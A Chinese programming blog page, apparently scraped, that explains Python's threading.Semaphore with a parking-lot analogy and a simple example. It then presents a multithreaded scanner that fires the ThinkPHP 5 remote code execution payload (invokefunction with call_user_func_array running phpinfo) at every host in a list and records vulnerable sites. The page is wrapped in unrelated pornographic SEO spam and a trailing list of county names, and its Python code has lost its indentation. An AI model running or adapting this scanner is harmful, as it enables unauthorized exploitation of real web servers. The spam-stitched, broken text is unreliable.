亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

python多線程semaphore如何實現線程數控制

發布時間:2020-08-12 15:43:01 來源:億速云 閱讀:735 作者:小新 欄目:開發技術

這篇文章將為大家詳細講解有關python多線程semaphore如何實現線程數控制,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

前面寫過一篇關于python多線程的實現的文章, 但是效果不是最佳的,寫法也不是很好。通過網上學習,也了解到了semaphore這個東西。

百度給的解釋:Semaphore是一種在多線程環境下使用的設施,該設施負責協調各個線程,以保證它們能夠正確、合理的使用公共資源的設施,也是操作系統中用于控制進程同步互斥的量。

一個有趣的例子:假設停車場只有三個車位,一開始三個車位都是空的。這時如果同時來了五輛車,看門人允許其中三輛不受阻礙的進入,然后放下車攔,剩下的車則必須在入口等待,此后來的車也都不得不在入口處等待。這時,有一輛車離開停車場,看門人得知后,打開車攔,放入一輛,如果又離開兩輛,則又可以放入兩輛,如此往復。

簡而言之,也就是能夠控制多線程并發的數量。

簡單記錄一下如何通過semaphore實現線程數的控制。

簡單代碼:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #繼承threading類
 def __init__(self, i, sem): 
 super(test, self).__init__()   #繼承python的構造方法,這為python2的寫法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #釋放線程數,線程數加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #設置可同時執行的最大線程數
 for i in range(50):
 sem.acquire()         #獲得線程,可用線程數減1
 t = test(i, sem)       #給執行函數傳遞值
 t.start()           #執行函數
sem = threading.Semaphore(5)    #設置可同時開啟的線程數,這里為5個

每執行一次函數的時候就獲得一個線程數,sem.acquire();每次執行完函數,就會釋放一個線程數,sem.release()。只要acquire()的線程數達到了最大數(這里為5),后面的線程就只能先等待前面獲得的線程執行完函數過后釋放,后面的線程才能繼續執行。

整個流程理解起來其實也很簡單。

之前寫過一次開10個線程的多線程腳本,但是方法不夠好,這次用這個方法改了一下,貼在這里(掃描tp5是否存在代碼執行漏洞的掃描腳本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判斷是否存在這個漏洞的執行函數
 def __init__(self, url, sem):
 super(check, self).__init__()   #繼承threading類的構造方法,python3的寫法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5遠程代碼執行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #執行完函數,釋放線程,線程數加1

class host(threading.Thread):     #遍歷文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #繼承threading類的構造方法,python3的寫法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍歷一個就獲得一個線程,直到達到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #執行check()的執行函數

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大線程數為10個
 thread = host(sem)         #傳遞sem值
 thread.start()

關于python多線程semaphore如何實現線程數控制就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

冀州市| 延长县| 文成县| 西乡县| 天长市| 牡丹江市| 莒南县| 中江县| 惠来县| 松滋市| 宣化县| 香港| 临洮县| 安福县| 新干县| 大理市| 余庆县| 古田县| 长葛市| 安化县| 江永县| 石门县| 灵宝市| 封丘县| 玉环县| 栖霞市| 文水县| 昌图县| 正镶白旗| 金平| 桓仁| 清新县| 舟山市| 辛集市| 洱源县| 池州市| 武山县| 汕尾市| 龙胜| 长泰县| 郁南县|